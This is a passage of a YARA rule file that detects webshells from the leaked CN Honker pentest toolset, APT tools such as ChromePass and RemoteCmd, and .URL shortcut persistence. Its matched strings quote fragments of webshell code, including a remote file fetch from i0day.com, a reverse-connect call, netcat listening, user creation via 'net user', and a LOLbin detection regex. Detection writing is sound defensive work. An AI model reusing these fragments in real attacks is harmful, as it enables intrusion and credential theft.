		id = "115651d3-63e1-58e3-b27c-42271111bb91"

	strings:
		$s15 = "Const myCmdDotExeFile = \"command.com\"" fullword ascii
		$s16 = "If LCase(appName) = \"cmd.exe\" And appArgs <> \"\" Then" fullword ascii

	condition:
		filesize < 406KB and all of them
}

rule CN_Honker_Webshell_PHP_php1
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php1.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "c2f4b150f53c78777928921b3a985ec678bfae32"
		id = "5fe78cc6-8be3-595f-a082-e361259938e5"

	strings:
		$s7 = "$sendbuf = \"site exec \".$_POST[\"SUCommand\"].\"\\r\\n\";" fullword ascii
		$s8 = "elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_c" ascii
		$s18 = "echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport" ascii

	condition:
		filesize < 621KB and all of them
}

rule CN_Honker_Webshell_jspshell2
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file jspshell2.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "cc7bc1460416663012fc93d52e2078c0a277ff79"
		id = "ff72f94b-1c0a-5615-b35f-35f69c920292"

	strings:
		$s10 = "if (cmd == null) cmd = \"cmd.exe /c set\";" fullword ascii
		$s11 = "if (program == null) program = \"cmd.exe /c net start > \"+SHELL_DIR+\"/Log.txt" ascii

	condition:
		filesize < 424KB and all of them
}

rule CN_Honker_Webshell_Tuoku_script_mysql
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file mysql.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "8e242c40aabba48687cfb135b51848af4f2d389d"
		id = "fa0627fb-a40c-5856-ae78-17d33910878f"

	strings:
		$s1 = "txtpassword.Attributes.Add(\"onkeydown\", \"SubmitKeyClick('btnLogin');\");" fullword ascii
		$s2 = "connString = string.Format(\"Host = {0}; UserName = {1}; Password = {2}; Databas" ascii

	condition:
		filesize < 202KB and all of them
}

rule CN_Honker_Webshell_PHP_php9
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php9.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "cd3962b1dba9f1b389212e38857568b69ca76725"
		id = "c8cbee10-78ea-5a6f-9c80-7e51a9c38440"

	strings:
		$s1 = "Str[17] = \"select shell('c:\\windows\\system32\\cmd.exe /c net user b4che10r ab" ascii

	condition:
		filesize < 1087KB and all of them
}

rule CN_Honker_Webshell_portRecall_jsp
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file jsp.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "65e8e4d13ad257c820cad12eef853c6d0134fce8"
		id = "cd34cb47-c5e0-5094-a501-6a8a00d94018"

	strings:
		$s0 = "lcx.jsp?localIP=202.91.246.59&localPort=88&remoteIP=218.232.111.187&remotePort=2" ascii

	condition:
		filesize < 1KB and all of them
}

rule CN_Honker_Webshell_ASPX_aspx3
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file aspx3.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "dd61481771f67d9593214e605e63b62d5400c72f"
		id = "4f835136-744a-5324-a1f4-02d1cfa2cab6"

	strings:
		$s0 = "Process p1 = Process.Start(\"\\\"\" + txtRarPath.Value + \"\\\"\", \" a -y -k -m" ascii
		$s12 = "if (_Debug) System.Console.WriteLine(\"\\ninserting filename into CDS:" ascii

	condition:
		filesize < 100KB and all of them
}

rule CN_Honker_Webshell_ASPX_shell_shell
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file shell.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "1816006827d16ed73cefdd2f11bd4c47c8af43e4"
		id = "8fbcae22-07b7-5afe-9f15-06e2f426b5ca"

	strings:
		$s0 = "<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cook" ascii
		$s1 = "<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule CN_Honker_Webshell__php1_php7_php9
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - from files php1.txt, php7.txt, php9.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "c2f4b150f53c78777928921b3a985ec678bfae32"
		hash1 = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
		hash2 = "cd3962b1dba9f1b389212e38857568b69ca76725"
		id = "cfc2f624-976f-5ff6-bd07-10948b9290bc"

	strings:
		$s1 = "<a href=\"?s=h&o=wscript\">[WScript.shell]</a> " fullword ascii
		$s2 = "document.getElementById('cmd').value = Str[i];" fullword ascii
		$s3 = "Str[7] = \"copy c:\\\\\\\\1.php d:\\\\\\\\2.php\";" fullword ascii

	condition:
		filesize < 300KB and all of them
}

rule CN_Honker_Webshell__Serv_U_by_Goldsun_asp3_Serv_U_asp
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - from files Serv-U_by_Goldsun.asp, asp3.txt, Serv-U asp.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
		hash1 = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
		hash2 = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
		id = "e91e05e8-0f6d-57a7-a649-a834733f17c8"

	strings:
		$s1 = "c.send loginuser & loginpass & mt & deldomain & quit" fullword ascii
		$s2 = "loginpass = \"Pass \" & pass & vbCrLf" fullword ascii
		$s3 = "b.send \"User go\" & vbCrLf & \"pass od\" & vbCrLf & \"site exec \" & cmd & vbCr" ascii

	condition:
		filesize < 444KB and all of them
}

rule CN_Honker_Webshell__asp4_asp4_MSSQL__MSSQL_
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - from files asp4.txt, asp4.txt, MSSQL_.asp, MSSQL_.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "4005b83ced1c032dc657283341617c410bc007b8"
		hash1 = "4005b83ced1c032dc657283341617c410bc007b8"
		hash2 = "7097c21f92306983add3b5b29a517204cd6cd819"
		hash3 = "7097c21f92306983add3b5b29a517204cd6cd819"
		id = "e0070f0d-35d0-5024-88e7-e0e04b29f485"

	strings:
		$s0 = "\"<form name=\"\"searchfileform\"\" action=\"\"?action=searchfile\"\" method=\"" ascii
		$s1 = "\"<TD ALIGN=\"\"Left\"\" colspan=\"\"5\"\">[\"& DbName & \"]" fullword ascii
		$s2 = "Set Conn = Nothing " fullword ascii

	condition:
		filesize < 341KB and all of them
}

rule CN_Honker_Webshell__Injection_jmCook_jmPost_ManualInjection
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - from files Injection.exe, jmCook.asp, jmPost.asp, ManualInjection.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
		hash1 = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
		hash2 = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
		hash3 = "e83d427f44783088a84e9c231c6816c214434526"
		id = "e154ecb5-9d56-520a-b76a-635a8864f0a8"

	strings:
		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii
		$s2 = "strReturn=Replace(strReturn,chr(43),\"%2B\")  'JMDCW" fullword ascii

	condition:
		filesize < 7342KB and all of them
}

rule CN_Honker_Webshell_cmfshell
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file cmfshell.cmf"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "b9b2107c946431e4ad1a8f5e53ac05e132935c0e"
		id = "c5670deb-952c-5ba4-949a-097cc09bb108"

	strings:
		$s1 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii
		$s2 = "<form action=\"<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>\" method=\"post\">" fullword ascii

	condition:
		filesize < 4KB and all of them
}

rule CN_Honker_Webshell_PHP_php4
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php4.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "179975f632baff6ee4d674fe3fabc324724fee9e"
		id = "82446dff-dd1e-54a8-bb70-570bedc805b5"

	strings:
		$s0 = "nc -l -vv -p port(" ascii

	condition:
		uint16( 0 ) == 0x4850 and filesize < 1KB and all of them
}

rule CN_Honker_Webshell_Linux_2_6_Exploit
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file 2.6.9"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ec22fac0510d0dc2c29d56c55ff7135239b0aeee"
		id = "22e2aca7-418f-598f-af0c-99942aaf3278"

	strings:
		$s0 = "[+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?" fullword ascii

	condition:
		filesize < 56KB and all of them
}

rule CN_Honker_Webshell_ASP_asp2
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file asp2.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "b3ac478e72a0457798a3532f6799adeaf4a7fc87"
		id = "e5296405-c345-55dc-acd9-be6aca86c60b"

	strings:
		$s1 = "<%=server.mappath(request.servervariables(\"script_name\"))%>" fullword ascii
		$s2 = "webshell</font> <font color=#00FF00>" fullword ascii
		$s3 = "Userpwd = \"admin\"   'User Password" fullword ascii

	condition:
		filesize < 10KB and all of them
}

rule CN_Honker_Webshell_FTP_MYSQL_MSSQL_SSH
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file FTP MYSQL MSSQL SSH.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "fe63b215473584564ef2e08651c77f764999e8ac"
		id = "dd619901-6f0e-527e-9926-808176641c09"

	strings:
		$s1 = "$_SESSION['hostlist'] = $hostlist = $_POST['hostlist'];" fullword ascii
		$s2 = "Codz by <a href=\"http://www.sablog.net/blog\">4ngel</a><br />" fullword ascii
		$s3 = "if ($conn_id = @ftp_connect($host, $ftpport)) {" fullword ascii
		$s4 = "$_SESSION['sshport'] = $mssqlport = $_POST['sshport'];" fullword ascii
		$s5 = "<title>ScanPass(FTP/MYSQL/MSSQL/SSH) by 4ngel</title>" fullword ascii

	condition:
		filesize < 20KB and 3 of them
}

rule CN_Honker_Webshell_ASP_shell
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file shell.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "b7b34215c2293ace70fc06cbb9ce73743e867289"
		id = "fdfc3fc1-9400-533b-978b-1a1fac112e1f"

	strings:
		$s1 = "xPost.Open \"GET\",\"http://www.i0day.com/1.txt\",False //" fullword ascii
		$s2 = "sGet.SaveToFile Server.MapPath(\"test.asp\"),2 //" fullword ascii
		$s3 = "http://hi.baidu.com/xahacker/fuck.txt" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule CN_Honker_Webshell_PHP_php7
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php7.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
		id = "f21bb0db-d18a-58c0-a227-5baf5536c57b"

	strings:
		$s0 = "---> '.$ports[$i].'<br>'; ob_flush(); flush(); } } echo '</div>'; return true; }" ascii
		$s1 = "$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = iss" ascii

	condition:
		filesize < 300KB and all of them
}

rule CN_Honker_Webshell_ASP_rootkit
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file rootkit.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3bfc1c95782e702cf56184e7d438edcf5802eab3"
		id = "ab51abca-0790-541c-9f18-1568809ef113"

	strings:
		$s0 = "set ss=zsckm.get(\"Win32_ProcessSta\"&uyy&\"rtup\")" fullword ascii
		$s1 = "If jzgm=\"\"Then jzgm=\"cmd.exe /c net user\"" fullword ascii

	condition:
		filesize < 80KB and all of them
}

rule CN_Honker_Webshell_jspshell
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file jspshell.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "d16af622f7688d4e0856a2678c4064d3d120e14b"
		id = "ff72f94b-1c0a-5615-b35f-35f69c920292"

	strings:
		$s1 = "else if(Z.equals(\"M\")){String[] c={z1.substring(2),z1.substring(0,2),z2};Proce" ascii
		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii

	condition:
		filesize < 30KB and all of them
}

rule CN_Honker_Webshell_Serv_U_serv_u
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file serv-u.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2023-01-27"
		score = 70
		hash = "1c6415a247c08a63e3359b06575b36017befc0c0"
		id = "dd37b2c3-e06d-5245-97d7-40e5eeadb76f"

	strings:
		$s1 = "@readfile(\"c:\\\\winnt\\\\system32\\" ascii
		$s2 = "$sendbuf = \"PASS \".$_POST[\"password\"].\"\\r\\n\";" fullword ascii
		$s3 = "$cmd=\"cmd /c rundll32.exe $path,install $openPort $activeStr\";" fullword ascii

	condition:
		filesize < 435KB and all of them
}

rule CN_Honker_Webshell_WebShell
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file WebShell.cgi"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
		id = "9fe4c8fd-3955-5405-add2-835e6f64e8f2"

	strings:
		$s1 = "$login = crypt($WebShell::Configuration::password, $salt);" fullword ascii
		$s2 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword ascii
		$s3 = "warn \"command: '$command'\\n\";" fullword ascii

	condition:
		filesize < 30KB and 2 of them
}

rule CN_Honker_Webshell_Tuoku_script_mssql_2
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file mssql.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ad55512afa109b205e4b1b7968a89df0cf781dc9"
		id = "3f9706d6-7f6e-5120-945a-d5d928d79507"

	strings:
		$s1 = "sqlpass=request(\"sqlpass\")" fullword ascii
		$s2 = "set file=fso.createtextfile(server.mappath(request(\"filename\")),8,true)" fullword ascii
		$s3 = "<blockquote> ServerIP:&nbsp;&nbsp;&nbsp;" fullword ascii

	condition:
		filesize < 3KB and all of them
}

rule CN_Honker_Webshell_ASP_asp1
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file asp1.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "78b5889b363043ed8a60bed939744b4b19503552"
		id = "bf0b1f1e-cf7b-5afb-8e0a-bcfd70fc8887"

	strings:
		$s1 = "SItEuRl=" ascii
		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
		$s3 = "Server.ScriptTimeout=" ascii

	condition:
		filesize < 200KB and all of them
}

rule Buckeye_Osinfo
{
	meta:
		description = "Detects OSinfo tool used by the Buckeye APT group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
		date = "2016-09-05"
		id = "e40a86d1-fd1a-5430-b7b7-8cc7ca128cc5"

	strings:
		$s1 = "-s ShareInfo ShareDir" fullword ascii
		$s2 = "-a Local And Global Group User Info" fullword ascii
		$s3 = "-f <infile> //input server list from infile, OneServerOneLine" fullword ascii
		$s4 = "info <\\server> <user>" fullword ascii
		$s5 = "-c Connect Test" fullword ascii
		$s6 = "-gd Group Domain Admins" fullword ascii
		$s7 = "-n NetuseInfo" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and 3 of ( $s* )
}

rule RemoteCmd
{
	meta:
		description = "Detects a remote access tool used by APT groups - file RemoteCmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		modified = "2022-12-21"
		hash1 = "5264d1de687432f8346617ac88ffcb31e025e43fc3da1dad55882b17b44f1f8b"
		id = "384f37f3-4562-5d79-9793-0384c43d4602"

	strings:
		$s1 = "RemoteCmd.exe" fullword wide
		$s2 = "\\Release\\RemoteCmd.pdb" ascii
		$s3 = "RemoteCmd [ComputerName] [Executable] [Param1] [Param2] ..." fullword wide
		$s4 = "http://{0}:65101/CommandEngine" fullword wide
		$s5 = "Brenner.RemoteCmd.Client" fullword ascii
		$s6 = "$b1888995-1ee5-4f6d-82df-d2ab8ae73d63" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and 2 of them ) or ( 4 of them )
}

rule ChromePass
{
	meta:
		description = "Detects a tool used by APT groups - file ChromePass.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		modified = "2022-12-21"
		hash1 = "5ff43049ae18d03dcc74f2be4a870c7056f6cfb5eb636734cca225140029de9a"
		id = "950b9761-bdfd-514b-90ea-a1454d35ce5a"

	strings:
		$x1 = "\\Release\\ChromePass.pdb" ascii
		$x2 = "Windows Protect folder for getting the encryption keys" wide
		$x3 = "Chrome User Data folder where the password file is stored" wide
		$s1 = "Opera Software\\Opera Stable\\Login Data" fullword wide
		$s2 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword wide
		$s3 = "Load the passwords from another Windows user or external drive: " fullword wide
		$s4 = "Chrome Passwords List!Select the windows profile folder" fullword wide
		$s5 = "Load the passwords of the current logged-on user" fullword wide
		$s6 = "Windows Login Password:" fullword wide
		$s7 = "SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created fr" ascii
		$s8 = "Chrome Password Recovery" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and 1 of ( $x* ) ) or ( 5 of them )
}

rule Methodology_Suspicious_Shortcut_Local_URL
{
	meta:
		author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
		description = "Detects local script usage for .URL persistence"
		reference = "https://twitter.com/cglyer/status/1176184798248919044"
		score = 50
		date = "27.09.2019"
		id = "438d9323-cb6a-5f5d-af71-76692b93436a"

	strings:
		$file = "URL=file:///" nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		$file and any of ( $url* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_SMB_URL
{
	meta:
		author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
		description = "Detects remote SMB path for .URL persistence"
		reference = "https://twitter.com/cglyer/status/1176184798248919044"
		sample = "e0bef7497fcb284edb0c65b59d511830"
		score = 50
		date = "27.09.2019"
		id = "e23609a1-9b18-5a56-92ee-c7f84c966865"

	strings:
		$file = /URL=file:\/\/[a-z0-9]/ nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		$file and any of ( $url* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_IconRemote_SMBorLocal
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		description = "This is the syntax used for NTLM hash stealing via Responder - https://www.securify.nl/nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html"
		reference = "https://twitter.com/ItsReallyNick/status/1176241449148588032"
		score = 50
		date = "27.09.2019"
		id = "9362ce46-265c-5215-bee1-3d784d0cb928"

	strings:
		$icon = "IconFile=file://" nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		$icon and any of ( $url* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Shortcut_HotKey
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		description = "Detects possible shortcut usage for .URL persistence"
		reference = "https://twitter.com/cglyer/status/1176184798248919044"
		score = 50
		date = "27.09.2019"
		id = "0ce377c4-db9b-59fa-987b-a77eaf408765"

	strings:
		$hotkey = /[\x0a\x0d]HotKey=[1-9]/ nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		$hotkey and any of ( $url* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_BaseURLSyntax
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		description = "Detects possible shortcut usage for .URL persistence"
		reference = "https://twitter.com/cglyer/status/1176184798248919044"
		score = 50
		date = "27.09.2019"
		id = "cab7b573-d197-5afc-95a9-ef05a07c2b7a"

	strings:
		$baseurl1 = "BASEURL=file://" nocase
		$baseurl2 = "[DEFAULT]" nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		all of ( $baseurl* ) and any of ( $url* ) and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Contains_Shortcut_OtherURIhandlers
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		description = "Noisy rule for .URL shortcuts containing unique URI handlers"
		description = "Detects possible shortcut usage for .URL persistence"
		reference = "https://twitter.com/cglyer/status/1176184798248919044"
		score = 35
		date = "27.09.2019"
		id = "1c0750d2-2177-5e2c-908b-4226ae099981"

	strings:
		$file = "URL="
		$filenegate = /[\x0a\x0d](Base|)URL\s*=\s*(https?|file):\/\// nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		$file and any of ( $url* ) and not $filenegate and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICO
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		reference = "https://twitter.com/ItsReallyNick/status/1176229087196696577"
		description = "Detects possible shortcut usage for .URL persistence"
		score = 50
		date = "27.09.2019"
		id = "82d0483f-48ee-5d0c-ba7d-73d9e9455423"

	strings:
		$icon = "IconFile="
		$icon_negate = /[\x0a\x0d]IconFile=[^\x0d]*\.(dll|exe|ico)\x0d/ nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
		any of ( $url* ) and $icon and not $icon_negate and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_Evasion
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		description = "Non-standard .URLs and evasion"
		reference = "https://twitter.com/DissectMalware/status/1176736510856634368"
		score = 50
		date = "27.09.2019"
		id = "36df4252-2575-5efa-88ce-17e68a349306"

	strings:
		$URI = /[\x0a\x0d](IconFile|(Base|)URL)[^\x0d=]+/ nocase
		$filetype_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$filetype_explicit = "[InternetShortcut]" nocase

	condition:
		any of ( $filetype* ) and $URI and uint16( 0 ) != 0x5A4D and uint32( 0 ) != 0x464c457f and uint32( 0 ) != 0xBEBAFECA and uint32( 0 ) != 0xFEEDFACE and uint32( 0 ) != 0xFEEDFACF and uint32( 0 ) != 0xCEFAEDFE and filesize < 30KB
}

rule Methodology_Suspicious_Shortcut_LOLcommand
{
	meta:
		author = "@itsreallynick (Nick Carr)"
		reference = "https://twitter.com/ItsReallyNick/status/1176601500069576704"
		description = "Detects possible shortcut usage for .URL persistence"
		score = 50
		date = "27.09.2019"
		modified = "2021-02-14"
		id = "061e7919-17f1-5774-ad7d-fc964dc9a947"

	strings:
		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=[^\x0d]*(powershell|cmd|certutil|mshta|wscript|cscript|rundll32|wmic|regsvr32|msbuild)(\.exe|)[^\x0d]{2,50}\x0d/ nocase
		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
		$url_explicit = "[InternetShortcut]" nocase

	condition:
